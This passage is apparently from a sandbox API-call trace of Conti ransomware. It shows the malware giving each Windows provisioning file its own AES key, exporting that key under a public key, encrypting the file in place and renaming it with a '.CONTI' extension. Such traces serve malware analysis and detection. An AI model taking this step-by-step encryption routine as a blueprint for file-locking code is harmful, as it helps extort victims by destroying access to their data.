	[0107.063] WriteFile (in: hFile=0x2f4, lpBuffer=0x17c4ebc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x17c4ebc*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0107.066] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.066] ReadFile (in: hFile=0x2f4, lpBuffer=0xee90000, nNumberOfBytesToRead=0x9ba5b, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x9ba5b, lpOverlapped=0x0) returned 1
	[0107.071] CryptEncrypt (in: hKey=0x17c84f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x9ba5b, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x9ba60) returned 1
	[0107.072] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.072] WriteFile (in: hFile=0x2f4, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x9ba60, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x9ba60, lpOverlapped=0x0) returned 1
	[0107.073] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.073] WriteFile (in: hFile=0x2f4, lpBuffer=0x17c4eb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x17c4eb0*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0107.073] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.073] CloseHandle (hObject=0x2f4) returned 1
	[0107.073] GetProcessHeap () returned 0x1720000
	[0107.073] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.532] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml"
	[0107.532] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml.CONTI"
	[0107.575] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml.conti")) returned 1
	[0107.762] GetProcessHeap () returned 0x1720000
	[0107.762] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.762] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0107.762] GetProcessHeap () returned 0x1720000
	[0107.762] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65117e8 | out: hHeap=0x1720000) returned 1
	[0107.762] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0107.762] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x6513768 | out: phKey=0x6513768*=0x17c8370) returned 1
	[0107.762] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x651376c, pdwDataLen=0x50ff91c | out: pbData=0x651376c*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0107.764] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\144__connections_cellular_orange (france)_i5$(__mvid)@wap.provxml")) returned 0x20
	[0107.765] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\144__connections_cellular_orange (france)_i5$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0107.765] GetLastError () returned 0x0
	[0107.765] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=847) returned 1
	[0107.765] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x34f
	[0107.765] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.765] SetEndOfFile (hFile=0x37c) returned 1
	[0107.766] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.766] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.766] WriteFile (in: hFile=0x37c, lpBuffer=0x651376c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x651376c*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0107.767] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.768] ReadFile (in: hFile=0x37c, lpBuffer=0xee90000, nNumberOfBytesToRead=0x34f, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x34f, lpOverlapped=0x0) returned 1
	[0107.768] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x34f, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x350) returned 1
	[0107.768] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.768] WriteFile (in: hFile=0x37c, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x350, lpOverlapped=0x0) returned 1
	[0107.768] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.768] WriteFile (in: hFile=0x37c, lpBuffer=0x6513760*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x6513760*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0107.768] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.768] CloseHandle (hObject=0x37c) returned 1
	[0107.768] GetProcessHeap () returned 0x1720000
	[0107.768] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.768] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml"
	[0107.768] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml.CONTI"
	[0107.768] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\144__connections_cellular_orange (france)_i5$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\144__connections_cellular_orange (france)_i5$(__mvid)@wap.provxml.conti")) returned 1
	[0107.769] GetProcessHeap () returned 0x1720000
	[0107.769] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.769] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0107.769] GetProcessHeap () returned 0x1720000
	[0107.769] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bd490 | out: hHeap=0x1720000) returned 1
	[0107.769] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0107.769] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x65129b8 | out: phKey=0x65129b8*=0x17c84f0) returned 1
	[0107.769] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x65129bc, pdwDataLen=0x50ff91c | out: pbData=0x65129bc*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0107.770] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\145__connections_cellular_orange (france)_i6$(__mvid)@wap.provxml")) returned 0x20
	[0107.770] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\145__connections_cellular_orange (france)_i6$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0107.770] GetLastError () returned 0x0
	[0107.770] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=842) returned 1
	[0107.770] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x34a
	[0107.770] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.770] SetEndOfFile (hFile=0x37c) returned 1
	[0107.771] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.771] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.771] WriteFile (in: hFile=0x37c, lpBuffer=0x65129bc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x65129bc*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0107.773] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.773] ReadFile (in: hFile=0x37c, lpBuffer=0xee90000, nNumberOfBytesToRead=0x34a, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x34a, lpOverlapped=0x0) returned 1
	[0107.773] CryptEncrypt (in: hKey=0x17c84f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x34a, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x350) returned 1
	[0107.773] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.773] WriteFile (in: hFile=0x37c, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x350, lpOverlapped=0x0) returned 1
	[0107.773] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.773] WriteFile (in: hFile=0x37c, lpBuffer=0x65129b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x65129b0*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0107.773] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.773] CloseHandle (hObject=0x37c) returned 1
	[0107.773] GetProcessHeap () returned 0x1720000
	[0107.773] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.773] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml"
	[0107.773] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml.CONTI"
	[0107.773] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\145__connections_cellular_orange (france)_i6$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\145__connections_cellular_orange (france)_i6$(__mvid)@wap.provxml.conti")) returned 1
	[0107.774] GetProcessHeap () returned 0x1720000
	[0107.774] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.774] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0107.774] GetProcessHeap () returned 0x1720000
	[0107.774] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bd5d0 | out: hHeap=0x1720000) returned 1
	[0107.774] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0107.774] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x6512c00 | out: phKey=0x6512c00*=0x17c8370) returned 1
	[0107.774] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x6512c04, pdwDataLen=0x50ff91c | out: pbData=0x6512c04*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0107.775] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\146__connections_cellular_sfr (france)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0107.775] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\146__connections_cellular_sfr (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0107.775] GetLastError () returned 0x0
	[0107.775] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=706) returned 1
	[0107.775] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c2
	[0107.775] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.775] SetEndOfFile (hFile=0x37c) returned 1
	[0107.775] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.776] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.776] WriteFile (in: hFile=0x37c, lpBuffer=0x6512c04*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x6512c04*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0107.777] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.777] ReadFile (in: hFile=0x37c, lpBuffer=0xee90000, nNumberOfBytesToRead=0x2c2, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x2c2, lpOverlapped=0x0) returned 1
	[0107.777] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2c2, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2d0) returned 1
	[0107.778] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.778] WriteFile (in: hFile=0x37c, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x2d0, lpOverlapped=0x0) returned 1
	[0107.778] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.778] WriteFile (in: hFile=0x37c, lpBuffer=0x6512bf8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x6512bf8*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0107.778] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.778] CloseHandle (hObject=0x37c) returned 1
	[0107.778] GetProcessHeap () returned 0x1720000
	[0107.778] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.778] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml"
	[0107.778] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml.CONTI"
	[0107.778] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\146__connections_cellular_sfr (france)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\146__connections_cellular_sfr (france)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0107.782] GetProcessHeap () returned 0x1720000
	[0107.782] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.782] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0107.782] GetProcessHeap () returned 0x1720000
	[0107.782] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3a00 | out: hHeap=0x1720000) returned 1
	[0107.782] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0107.782] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x17d5430 | out: phKey=0x17d5430*=0x17c7ff0) returned 1
	[0107.782] CryptExportKey (in: hKey=0x17c7ff0, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5434, pdwDataLen=0x50ff91c | out: pbData=0x17d5434*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0107.783] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\147__connections_cellular_sfr (france)_i1$(__mvid)@wap.provxml")) returned 0x20
